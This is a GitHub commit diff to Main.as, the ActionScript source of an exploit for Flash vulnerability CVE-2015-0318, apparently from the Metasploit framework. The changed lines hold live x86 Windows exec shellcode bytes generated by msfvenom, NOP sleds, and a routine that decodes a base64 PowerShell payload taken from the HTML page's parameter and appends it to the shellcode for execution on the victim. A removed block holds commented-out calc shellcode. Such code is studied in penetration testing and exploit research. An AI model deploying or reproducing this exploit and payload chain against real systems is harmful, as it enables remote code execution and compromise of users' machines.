Skip to content

Commit 2a25e2b

Browse files
committed
Update Main.as
1 parent 0ee0a0d commit 2a25e2b

File tree

1 file changed

+30
-30
lines changed
  • external/source/exploits/CVE-2015-0318

1 file changed

+30
-30
lines changed

external/source/exploits/CVE-2015-0318/Main.as

Lines changed: 30 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,10 @@
11
package
22
{
3+
/*
4+
To compile (AIRSDK + Flex):
5+
mxmlc Main.as -o Main.swf -strict=false
6+
*/
7+
38
import mx.utils.Base64Decoder;
49
import flash.display.*;
510
import flash.utils.ByteArray;
@@ -421,42 +426,19 @@ package
421426
v[i++] = 0x90909090;
422427
v[i++] = 0x90909090;
423428
v[i++] = 0x90909090;
424-
//v[i++] = 0xcccccccc;
429+
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
425430

431+
// Our payload (see GetPayload)
426432
for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
427433
v[i++] = myshellcode[payload_i];
428434
}
429435

430436
v[i++] = 0x90909090;
431437
v[i++] = 0x90909090;
432438
v[i++] = 0x90909090;
433-
//v[i++] = 0xcccccccc;
434-
435-
// we're using skylined's win32 calc shellcode, the function
436-
// version that saves registers, but without the ret at the end...
437-
438-
/*
439-
v[i++] = 0x52d23160;
440-
v[i++] = 0x6c616368;
441-
v[i++] = 0x52e68963;
442-
v[i++] = 0x728b6456;
443-
v[i++] = 0x0c768b30;
444-
v[i++] = 0xad0c768b;
445-
v[i++] = 0x7e8b308b;
446-
v[i++] = 0x3c5f8b18;
447-
v[i++] = 0x781f5c8b;
448-
v[i++] = 0x201f748b;
449-
v[i++] = 0x4c8bfe01;
450-
v[i++] = 0xf901241f;
451-
v[i++] = 0x512cb70f;
452-
v[i++] = 0x3c81ad42;
453-
v[i++] = 0x6e695707;
454-
v[i++] = 0x8bf17545;
455-
v[i++] = 0x011c1f74;
456-
v[i++] = 0xae3c03fe;
457-
v[i++] = 0x5858d7ff;
458-
v[i++] = 0x90909061;
459-
*/
439+
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
440+
441+
460442
// we just put things back how they were; at least, everything
461443
// important. we need esp and ebp to be correct, which is easy;
462444
// we need ecx to point to the object's vtable and then we can
@@ -475,18 +457,36 @@ package
475457
}
476458

477459
public function GetPayload():Array {
460+
// Grab the powershell payload from the sh parameter in the HTML file
478461
var b64:Base64Decoder = new Base64Decoder();
479462
var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
480463
b64.decode(raw_psh_payload);
481464
var psh_payload:String = b64.toByteArray().toString();
482-
var payload:String = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";
483465

466+
// This is generated from here:
467+
// ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none
468+
// The original souce can be found at: msf/externa/source/shellcode/single_exec.asm
469+
var payload:String = "" +
470+
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" +
471+
"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
472+
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" +
473+
"\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
474+
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
475+
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
476+
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" +
477+
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
478+
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";
479+
480+
// Here we convert the binary string to an array of DWORDS
484481
var arr:Array = new Array();
485482
for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
486483
var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
487-
var hex:String = "";
484+
var hex:String = "";
488485
for (var i2:int = 0; i2 < dword.length; i2++) {
489486
var byte:String = dword.charCodeAt(i2).toString(16);
487+
// The toString(16) conversion doesn't print zeros the way we want it.
488+
// Like for example: for a null byte, it returns: '0', but the format should be: '00'
489+
// Another example: For 0x0c, it returns 'c', but it should be '0c'
490490
if (byte == '0') {
491491
byte = "00";
492492
} else if (byte.length == 1) {

0 commit comments

Comments
 (0)